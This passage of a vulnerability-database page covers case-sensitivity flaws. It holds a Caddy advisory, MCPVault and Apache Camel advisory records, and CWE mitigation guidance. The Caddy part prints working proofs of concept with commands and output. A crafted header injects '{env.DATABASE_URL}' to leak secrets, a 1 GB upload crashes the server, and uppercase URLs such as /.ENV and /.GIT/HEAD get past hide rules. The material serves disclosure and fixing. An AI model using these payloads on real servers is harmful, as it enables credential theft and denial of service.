The log_append body {http.request.body} pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like expression {http.request.body}.contains('admin'), custom header forwarding with header_up X-Original-Body {http.request.body}, and any third-party module that resolves the placeholder.
Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.
Suggested fix
Wrap the body read with a LimitReader keyed off either:
1. The operator's configured request_body.max_size (if set), or
2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.
If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.
Issue 3: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation
File: modules/caddyhttp/fileserver/staticfiles.go:669-718 (the fileHidden function and filepath.Match call)
Class: CWE-178 (Improper Handling of Case Sensitivity)
Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)
Root cause
fileHidden() uses filepath.Match, which is case-sensitive. However:
- macOS APFS is case-insensitive by default
- Windows NTFS is case-insensitive by default
- Linux ext4 can be configured with the casefold flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side
On a case-insensitive filesystem, the OS resolves /.git and /.GIT to the same directory, but Caddy's hide check only fires on the exact-case literal .git. Result: the file is served via the uppercase URL.
On a case-sensitive filesystem where both .git and .GIT exist as separate directories, Caddy hides only .git and exposes .GIT.
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
root * /srv
file_server {
hide .git .env secrets
}
}
Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):
/srv/.git/HEAD "ref: refs/heads/main"
/srv/.GIT/HEAD "ref: refs/heads/main (UPPERCASE BYPASS)"
/srv/.env "DATABASE_URL=postgres://user:pass@host"
/srv/.ENV "DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)"
/srv/secrets/api.txt "supersecret_api_key=sk_live_real"
/srv/SECRETS/api.txt "supersecret_api_key=sk_live_real (UPPERCASE BYPASS)"
Test transcript (all three hide rules — .git, .env, secrets — bypassed via uppercase):
PS> curl.exe -i http://localhost:8080/.git/HEAD
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.GIT/HEAD
HTTP/1.1 200 OK
Content-Length: 40
ref: refs/heads/main (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/.env
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.ENV
HTTP/1.1 200 OK
Content-Length: 58
DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/secrets/api.txt
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/SECRETS/api.txt
HTTP/1.1 200 OK
Content-Length: 52
Content-Type: text/plain; charset=utf-8
supersecret_api_key=sk_live_real (UPPERCASE BYPASS)
Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served.
Why this matters in practice
.git, .env, and secrets/ are three of the most common entries in production Caddy hide configurations because they correspond to high-value attacker targets:
- .git/HEAD + .git/config + .git/objects/ → source code disclosure
- .env → credentials, API keys, database connection strings
- secrets/ → operator-named bucket of anything sensitive
The bug means that on macOS and Windows hosts (and a subset of Linux hosts), the hide directive provides no protection at all for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.
Suggested fix
In fileHidden(), on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides on GOOS=darwin and GOOS=windows, and to document for Linux operators that they should not rely on hide if their filesystem has casefold enabled or if they manage their files with case-folding tools.
Alternative: enforce that paths matched by hide are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.
Reproduction kit
A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official caddy:2.11.3 Docker image.
Reporter
Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77281"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-178",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-18T13:09:27Z",
"nvd_published_at": "2026-09-17T21:17:37Z",
"severity": "MODERATE"
},
"details": "# Caddy v2.11.3 \u2014 Three vulnerabilities in handler/placeholder layer\n\n**Tested against:** `caddy:2.11.3` (official Docker image, SHA verified at runtime)\n**Reproduction environment:** Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits\n\nThis advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified `caddy:2.11.3` image with the minimal Caddyfile that the documentation suggests for the affected feature.\n\n---\n\n## Issue 1: Rewrite handler \u2014 placeholder double-expansion enables env var / file disclosure\n\n**File:** `modules/caddyhttp/rewrite/rewrite.go:215-249` and `buildQueryString` at `327`\n**Class:** CWE-94 (Code Injection), same bug class as CVE-2026-30852 (`vars_regexp`)\n**Severity:** Low (requires operator config with trailing `?` in rewrite URI)\n\n### Root cause\n\nWhen the operator\u0027s `rewrite` URI template:\n1. Contains a placeholder that resolves to request data (e.g. `{http.request.header.X-Foo}`), AND\n2. Ends with a literal `?` (with empty query side)\n\n\u2026then the bytes produced by the **first** Replacer pass (which include attacker-controlled header values) are fed through `buildQueryString`, which runs a **second** Replacer pass and resolves any placeholders the attacker injected.\n\n```go\n// rewrite.go (abridged)\nnewPath = repl.ReplaceAll(path, \"\") // pass 1 \u2014 header expanded\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n var injectedQuery string\n newPath, injectedQuery = before, after\n if query == \"\" { // trailing-? branch\n query = injectedQuery // attacker bytes flow into \u0027query\u0027\n }\n}\nif query != \"\" {\n newQuery = buildQueryString(query, repl) // pass 2 \u2014 RE-EXPANDS attacker input\n}\n```\n\nThis is the same gadget that was patched in `vars_regexp` (CVE-2026-30852). The fix did not extend to `rewrite`, and there is no equivalent regression test for it in `rewrite_test.go` (compare `vars_test.go:63,69,75`).\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n admin off\n auto_https off\n}\n\n:8080 {\n rewrite * /serve/{http.request.header.X-Fwd}?\n respond \"PATH={path} QUERY={query}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n caddy:\n image: caddy:2.11.3\n environment:\n DATABASE_URL: \"postgres://leaked:supersecret@dbserver/production\"\n ports: [\"8080:8080\"]\n volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit:\n```\n$ docker compose up -d\n$ curl \"http://localhost:8080/anything\" -H \"X-Fwd: foo?{env.DATABASE_URL}=leak\"\nPATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak\n```\n\nURL-decoded query: `postgres://leaked:supersecret@dbserver/production=leak`. The `DATABASE_URL` env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via `reverse_proxy`, and be readable via `{http.request.uri.query}` in any downstream handler.\n\n### Available read primitives\n\nThe same gadget exposes any placeholder the attacker can name in their injected substring:\n- `{env.X}` \u2014 any env var on the Caddy process\n- `{file./path}` \u2014 any file readable by the Caddy process (if `file` provider is registered)\n- `{vars.X}` \u2014 Caddy-internal request variables\n\n### Suggested fix (mirrors the CVE-2026-30852 patch)\n\nAfter splitting at `?`, sanitize placeholder syntax in the injected query before passing it to `buildQueryString`:\n\n```go\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n var injectedQuery string\n newPath, injectedQuery = before, after\n if query == \"\" {\n injectedQuery = strings.ReplaceAll(injectedQuery, \"{\", \"%7B\")\n injectedQuery = strings.ReplaceAll(injectedQuery, \"}\", \"%7D\")\n query = injectedQuery\n }\n}\n```\n\nAlso recommend adding equivalent regression tests in `rewrite_test.go` to the three \"is not re-expanded\" tests in `vars_test.go`.\n\n---\n\n## Issue 2: Unbounded body buffer via `{http.request.body}` placeholder \u2014 memory exhaustion DoS\n\n**File:** `modules/caddyhttp/replacer.go:217-245` (placeholder resolution for `http.request.body`)\n**Class:** CWE-770 (Allocation of Resources Without Limits)\n**Severity:** Moderate (any operator using the documented `log_append body {http.request.body}` pattern is vulnerable)\n\n### Root cause\n\nWhen any handler references the `{http.request.body}` placeholder, the replacer code path reads the entire request body into a byte slice via `io.Copy(buf, req.Body)` with **no `LimitReader`** wrapping. The `needsEarly` flag bypasses the `request_body` middleware\u0027s size limit, because the placeholder is resolved before that middleware sees the request.\n\nThis means an attacker can send a request body of any size (up to whatever `Content-Length` they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.\n\n### Reproduction (real Caddy 2.11.3, 512 MB container cap)\n\n`Caddyfile`:\n```\n{\n admin off\n auto_https off\n}\n\n:8080 {\n log_append body {http.request.body}\n respond \"OK, length received: {http.request.header.Content-Length}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n caddy:\n image: caddy:2.11.3\n mem_limit: 512m\n memswap_limit: 512m\n ports: [\"8080:8080\"]\n volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit (Windows PowerShell):\n```\nPS\u003e fsutil file createnew big.bin 1073741824\nFile C:\\caddy-verify\\test3-body-dos\\big.bin is created\nPS\u003e curl.exe -X POST --data-binary \"@big.bin\" -H \"Expect:\" --max-time 120 http://localhost:8080/\ncurl: (28) Operation timed out after 120010 milliseconds with 0 bytes received\n```\n\nContainer state immediately after:\n```\nPS\u003e docker ps -a --filter name=caddy-verify-3\nCONTAINER ID IMAGE STATUS NAMES\n7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3\n\nPS\u003e docker inspect caddy-verify-3 --format \"ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}\"\nExitCode=137 OOMKilled=true\n```\n\n`OOMKilled=true` is dispositive \u2014 the Linux kernel\u0027s OOM killer fired. Caddy\u0027s logs cut off cleanly after `\"serving initial configuration\"` with no error message, which is the signature of a process killed mid-allocation by SIGKILL.\n\nA small body works fine:\n```\n$ curl -X POST -d \"hello world\" http://localhost:8080/\nOK, length received: 11\n```\n\n### Real-world exploitability\n\nThe `log_append body {http.request.body}` pattern is in Caddy\u0027s documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like `expression {http.request.body}.contains(\u0027admin\u0027)`, custom header forwarding with `header_up X-Original-Body {http.request.body}`, and any third-party module that resolves the placeholder.\n\nContainer memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.\n\n### Suggested fix\n\nWrap the body read with a `LimitReader` keyed off either:\n1. The operator\u0027s configured `request_body.max_size` (if set), or\n2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.\n\nIf the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.\n\n---\n\n## Issue 3: `fileHidden()` case-sensitive pattern bypass \u2014 exposes \"hidden\" files via case variation\n\n**File:** `modules/caddyhttp/fileserver/staticfiles.go:669-718` (the `fileHidden` function and `filepath.Match` call)\n**Class:** CWE-178 (Improper Handling of Case Sensitivity)\n**Severity:** Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)\n\n### Root cause\n\n`fileHidden()` uses `filepath.Match`, which is **case-sensitive**. However:\n- **macOS APFS** is case-insensitive by default\n- **Windows NTFS** is case-insensitive by default\n- **Linux ext4** can be configured with the `casefold` flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side\n\nOn a case-insensitive filesystem, the OS resolves `/.git` and `/.GIT` to the same directory, but Caddy\u0027s hide check only fires on the exact-case literal `.git`. Result: the file is served via the uppercase URL.\n\nOn a case-sensitive filesystem where both `.git` and `.GIT` exist as separate directories, Caddy hides only `.git` and exposes `.GIT`.\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n admin off\n auto_https off\n}\n\n:8080 {\n root * /srv\n file_server {\n hide .git .env secrets\n }\n}\n```\n\nSetup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):\n\n```\n/srv/.git/HEAD \"ref: refs/heads/main\"\n/srv/.GIT/HEAD \"ref: refs/heads/main (UPPERCASE BYPASS)\"\n/srv/.env \"DATABASE_URL=postgres://user:pass@host\"\n/srv/.ENV \"DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\"\n/srv/secrets/api.txt \"supersecret_api_key=sk_live_real\"\n/srv/SECRETS/api.txt \"supersecret_api_key=sk_live_real (UPPERCASE BYPASS)\"\n```\n\nTest transcript (all three hide rules \u2014 `.git`, `.env`, `secrets` \u2014 bypassed via uppercase):\n\n```\nPS\u003e curl.exe -i http://localhost:8080/.git/HEAD\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/.GIT/HEAD\nHTTP/1.1 200 OK\nContent-Length: 40\nref: refs/heads/main (UPPERCASE BYPASS)\n\nPS\u003e curl.exe -i http://localhost:8080/.env\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/.ENV\nHTTP/1.1 200 OK\nContent-Length: 58\nDATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\n\nPS\u003e curl.exe -i http://localhost:8080/secrets/api.txt\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/SECRETS/api.txt\nHTTP/1.1 200 OK\nContent-Length: 52\nContent-Type: text/plain; charset=utf-8\nsupersecret_api_key=sk_live_real (UPPERCASE BYPASS)\n```\n\nThree separate hide rules, three separate uppercase bypasses, all 200 OK with the \"hidden\" content served.\n\n### Why this matters in practice\n\n`.git`, `.env`, and `secrets/` are three of the most common entries in production Caddy `hide` configurations because they correspond to high-value attacker targets:\n- `.git/HEAD` + `.git/config` + `.git/objects/` \u2192 source code disclosure\n- `.env` \u2192 credentials, API keys, database connection strings\n- `secrets/` \u2192 operator-named bucket of anything sensitive\n\nThe bug means that on macOS and Windows hosts (and a subset of Linux hosts), the `hide` directive provides **no protection at all** for these files \u2014 only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren\u0027t there.\n\n### Suggested fix\n\nIn `fileHidden()`, on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go\u0027s standard library does not expose a portable \"is this filesystem case-insensitive\" check, so a reasonable conservative approach is to always lowercase both sides on `GOOS=darwin` and `GOOS=windows`, and to document for Linux operators that they should not rely on `hide` if their filesystem has `casefold` enabled or if they manage their files with case-folding tools.\n\nAlternative: enforce that paths matched by `hide` are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.\n\n---\n\n## Reproduction kit\n\nA full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official `caddy:2.11.3` Docker image.\n\n## Reporter\n\nIndependent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.",
"id": "GHSA-j8px-rmrx-76h9",
"modified": "2026-09-18T13:09:27Z",
"published": "2026-09-18T13:09:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77281"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/pull/7761"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb"
},
{
"type": "PACKAGE",
"url": "https://github.com/caddyserver/caddy"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass"
}
GHSA-J99Q-93C9-H869
Vulnerability from github – Published: 2026-06-18 14:30 – Updated: 2026-07-20 21:30On case-insensitive filesystems (macOS, Windows), PathFilter compiled its deny-list patterns case-sensitively and matched the path verbatim, so names like .Git/config, .GIT/config, or .oBsIdIaN/secrets.md slipped past the .git/.obsidian/node_modules restriction while the OS opened the real file. On Windows, trailing dots/spaces (.git./config, .git /config) bypassed it the same way. Affects both isAllowed (read/write/move/search) and isAllowedForListing. Vault-root .. containment is NOT affected. Fixed in 0.11.4 by case-insensitive matching plus per-segment canonicalization before the deny-list check. Reported privately by novice-22.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@bitbonsai/mcpvault"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57441"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-41"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:30:43Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "On case-insensitive filesystems (macOS, Windows), PathFilter compiled its deny-list patterns case-sensitively and matched the path verbatim, so names like `.Git/config`, `.GIT/config`, or `.oBsIdIaN/secrets.md` slipped past the `.git`/`.obsidian`/`node_modules` restriction while the OS opened the real file. On Windows, trailing dots/spaces (`.git./config`, `.git /config`) bypassed it the same way. Affects both `isAllowed` (read/write/move/search) and `isAllowedForListing`. Vault-root `..` containment is NOT affected. Fixed in 0.11.4 by case-insensitive matching plus per-segment canonicalization before the deny-list check. Reported privately by novice-22.",
"id": "GHSA-j99q-93c9-h869",
"modified": "2026-07-20T21:30:52Z",
"published": "2026-06-18T14:30:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bitbonsai/mcpvault/security/advisories/GHSA-j99q-93c9-h869"
},
{
"type": "PACKAGE",
"url": "https://github.com/bitbonsai/mcpvault"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCPVault: PathFilter restricted-directory deny-list bypass via case and trailing dot/space equivalence"
}
GHSA-JG2M-9X48-3GVJ
Vulnerability from github – Published: 2026-04-27 09:34 – Updated: 2026-05-22 13:10The fix for CVE-2025-27636 added setLowerCase(true) to HttpHeaderFilterStrategy so that case-variant header names such as 'CAmelExecCommandExecutable' are filtered out alongside 'CamelExecCommandExecutable'. The same setLowerCase(true) call was not applied to five non-HTTP HeaderFilterStrategy implementations: JmsHeaderFilterStrategy and ClassicJmsHeaderFilterStrategy in camel-jms, SjmsHeaderFilterStrategy in camel-sjms, CoAPHeaderFilterStrategy in camel-coap, and GooglePubsubHeaderFilterStrategy in camel-google-pubsub. Because those strategies use case-sensitive String.startsWith('Camel'/'camel') filtering while the Camel Exchange stores headers in a case-insensitive map, an attacker with JMS (or equivalent) producer access to the broker consumed by a Camel route can inject case-variant Camel internal headers, which are then resolved by downstream components such as camel-exec and camel-file using their canonical casing. This enables remote code execution and arbitrary file write on routes that forward JMS messages to header-driven components.
This issue affects Apache Camel: from 3.0.0 before 4.14.6, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0.
Users are recommended to upgrade to version 4.20.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.2.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-coap"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.14.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-coap"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-coap"
},
"ranges": [
{
"events": [
{
"introduced": "4.19.0"
},
{
"fixed": "4.20.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-google-pubsub"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.14.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-google-pubsub"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-google-pubsub"
},
"ranges": [
{
"events": [
{
"introduced": "4.19.0"
},
{
"fixed": "4.20.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-jms"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.14.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-jms"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-jms"
},
"ranges": [
{
"events": [
{
"introduced": "4.19.0"
},
{
"fixed": "4.20.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-sjms"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.14.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-sjms"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-sjms"
},
"ranges": [
{
"events": [
{
"introduced": "4.19.0"
},
{
"fixed": "4.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40453"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-22T13:10:44Z",
"nvd_published_at": "2026-04-27T09:16:01Z",
"severity": "CRITICAL"
},
"details": "The fix for CVE-2025-27636 added setLowerCase(true) to HttpHeaderFilterStrategy so that case-variant header names such as \u0027CAmelExecCommandExecutable\u0027 are filtered out alongside \u0027CamelExecCommandExecutable\u0027. The same setLowerCase(true) call was not applied to five non-HTTP HeaderFilterStrategy implementations: JmsHeaderFilterStrategy and ClassicJmsHeaderFilterStrategy in camel-jms, SjmsHeaderFilterStrategy in camel-sjms, CoAPHeaderFilterStrategy in camel-coap, and GooglePubsubHeaderFilterStrategy in camel-google-pubsub. Because those strategies use case-sensitive String.startsWith(\u0027Camel\u0027/\u0027camel\u0027) filtering while the Camel Exchange stores headers in a case-insensitive map, an attacker with JMS (or equivalent) producer access to the broker consumed by a Camel route can inject case-variant Camel internal headers, which are then resolved by downstream components such as camel-exec and camel-file using their canonical casing. This enables remote code execution and arbitrary file write on routes that forward JMS messages to header-driven components.\n\nThis issue affects Apache Camel: from 3.0.0 before 4.14.6, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0.\n\nUsers are recommended to upgrade to version 4.20.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.2.",
"id": "GHSA-jg2m-9x48-3gvj",
"modified": "2026-05-22T13:10:44Z",
"published": "2026-04-27T09:34:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40453"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/22569"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/22575"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/22576"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/1e331daa4eea0a3f01d951e74cda8faee79495a2"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/301bb7401cd480895b94a28a8ad6cf04952d8125"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/3d2efeed2f6ea757f0254a1d1cdeb9a4f28ca147"
},
{
"type": "WEB",
"url": "https://camel.apache.org/security/CVE-2026-40453.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/camel"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/CAMEL-23313"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Camel has an incomplete fix for CVE-2025-27636"
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
No CAPEC attack patterns related to this CWE.